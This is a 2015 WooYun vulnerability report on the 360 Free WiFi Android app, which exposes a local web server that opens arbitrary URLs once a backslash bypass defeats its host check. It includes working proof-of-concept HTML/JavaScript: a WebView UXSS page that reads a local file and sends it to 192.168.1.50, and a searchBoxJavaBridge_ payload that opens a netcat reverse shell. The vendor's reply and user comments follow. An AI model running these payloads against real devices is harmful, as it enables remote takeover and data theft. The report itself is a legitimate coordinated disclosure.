当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0142738

漏洞标题：360免费WIFI可远程控制用户行为(种马弹shell窃取信息)

相关厂商：奇虎360

漏洞作者： 瘦蛟舞

提交时间：2015-09-22 11:45

修复时间：2015-12-21 12:26

公开时间：2015-12-21 12:26

漏洞类型：远程代码执行

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-22： 细节已通知厂商并且等待厂商处理中
2015-09-22： 厂商已经确认，细节仅向厂商公开
2015-09-25： 细节向第三方安全合作伙伴开放
2015-11-16： 细节向核心白帽子及相关领域专家公开
2015-11-26： 细节向普通白帽子公开
2015-12-06： 细节向实习白帽子公开
2015-12-21： 细节向公众公开

简要描述：

360免费WIFI个貌似后门的功能,将会给用户带来如何隐患?

详细说明：

通过netstat发现360免费 wifi监听6842端口.那么这个端口是干啥了的,是否可以利用?

# busybox netstat -tunlp                                     
	Active Internet connections (only servers)
	Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
	tcp        0      0 :::6842                 :::*                    LISTEN      17222/com.qihoo.fre


首先逆向客户端来查看下这个端口的功能,通过关键字6842查找

6842.png


追到父类,发现其是一个 nanohttp 轻量 android webserver

nano.png


github 上有其源码,这里目测360只抽取了部分代码
[https://github.com/NanoHttpd/nanohttpd]
继续查看其是如何传参的

params.png


将请求中 u 中的 url 取出并且打开打开浏览器,但是在这之前有个对 host 的判断

forbidden.png


openurl.png


到这里貌似就只能打开360旗下的域名,再利用就比较麻烦了.找一个360域下的 xss?或者绕过这个 host 判断?
经过测试发现利用反斜杠可以绕过这个限制
http://192.168.1.102:6842/?u=http://drops.wooyun.org\.360.cn

success.png


漏洞证明：

接下来该如何进一步利用,居然是通过浏览器打开指定网页.首先想到的是:
- 钓鱼/木马 apk/广告
- webview rce
- webview UXSS
现在就做两个实验:
第一个是通过360免费 wifi 远程 打开指定网页结合 webview UXSS 窃取用户本地数据

local.png


test.html

<button onclick="iframe.src='http://notfound/'">Open http://notfound/</button><br>
	<button onclick="exploit1()">Get local file!</button><br>
	<script>
	function exploit1() {
	window.open('\u0000javascript:document.body.innerHTML="<script src=http://192.168.1.50/test.js></scr"+"ipt><iframe src=file:/default.prop onload=exploit2()  style=width:100%;height:1000px; name=test2></iframe>";','test');
	}
	</script>
	<iframe src="http://www.example.com/" id="iframe" style="width:100%;height:1000px;" name="test"></iframe>


test.js

var flag = 0;
	function exploit2(){
	  if(flag) {return}
	  window.open('\u0000javascript:location.replace("http://192.168.1.50/?file="+escape(document.body.innerHTML))','test2');
	  flag = 1;
	}


第二个是通过360免费 wifi 远程 打开指定网页结合 webview 远程代码执行,反弹 shell
rce.html

<script type="text/javascript">
		// var obj_smsManager = searchBoxJavaBridge_.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null).invoke(null,null);
		//
		// obj_smsManager.sendTextMessage("10000",null,"hello_world!",null,null);
		//
		function execute(cmdArgs)
		{
			//searchBoxJavaBridge_
		    return searchBoxJavaBridge_.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
		}
		try{
		   // execute(["/system/bin/sh","-c","id > /sdcard/browser.txt"]);
		   execute(["/system/bin/sh","-c","busybox nc 192.168.1.50 8088|/system/bin/sh|busybox nc 192.168.1.50 9999"]);
		    alert("good job!");
		}catch(e){
		    alert(e);
		}
	</script>


shell.png

修复方案：

版权声明：转载请注明来源 瘦蛟舞@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2015-09-22 12:25

厂商回复：

感谢提交，这个是正常的app功能，不是后门，请提交者和乌云的审核注意措辞。关于此功能存在的CVE-2014-1939漏洞的处理,在360安全响应中心的公告已发布评定标准，参考http:///Index/news/id/ 此类漏洞属于安卓系统漏洞，UXSS漏洞也属于同类型安卓系统漏洞，360安全响应中心近期会再补充UXSS相关参考。此处存在的安全问题，360免费wifi产品会紧急加固，谢谢。

最新状态：

暂无

漏洞评价：

评论

  1. 2015-09-22 11:46 | mango ( 核心白帽子 | Rank:1741 漏洞数:256 | 我有个2b女友！)

    沙发！

  2. 2015-09-22 11:59 | Chinalover ( 路人 | Rank:18 漏洞数:5 | 你看得到我打在屏幕上的字，却看不到我落在...)

    板凳

  3. 2015-09-22 12:12 | 王And木 ( 路人 | Rank:2 漏洞数:4 | 路漫漫其修远兮，吾将上下而求索。)

    是那个wifi认证页面吧~~~

  4. 2015-09-22 12:29 | 奇虎360(乌云厂商)

    补上评定标准 security.360.cn/Index/news/id/59.html

  5. 2015-09-22 12:37 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    mark

  6. 2015-09-23 10:24 | 瘦蛟舞 认证白帽子 ( 普通白帽子 | Rank:765 漏洞数:83 | 铁甲依然在)

    mark with http://drops.wooyun.org/mobile/6973

  7. 2015-09-23 13:06 | 问题来了 ( 普通白帽子 | Rank:201 漏洞数:23 | 挖漏洞哪家强)

    那要是用 hacking team 的 exp 了...你们把这个通告也加上吧...哈哈哈

  8. 2015-09-23 16:12 | rayh4c ( 普通白帽子 | Rank:240 漏洞数:23 )

    补上一个细节，java.net.URLStreamHandler.parseURL()的解析方法, 没有考虑异常情况，导致new URL(url).getHost()取到的数据不正确，可能绕过host的安全检查。等漏洞公开。

  9. 2015-09-23 16:24 | 奇虎360(乌云厂商)

    此处漏洞的结果是打开的系统浏览器或浏览器的网页，使用 hacking team 的 exp或其他安卓系统漏洞都可以在特定版本的安卓上攻击成功，但浏览器漏洞\安卓系统漏洞和app自己的漏洞是两码事，这里确实是个攻击入口。感谢提交者，这里只说技术，不说其他。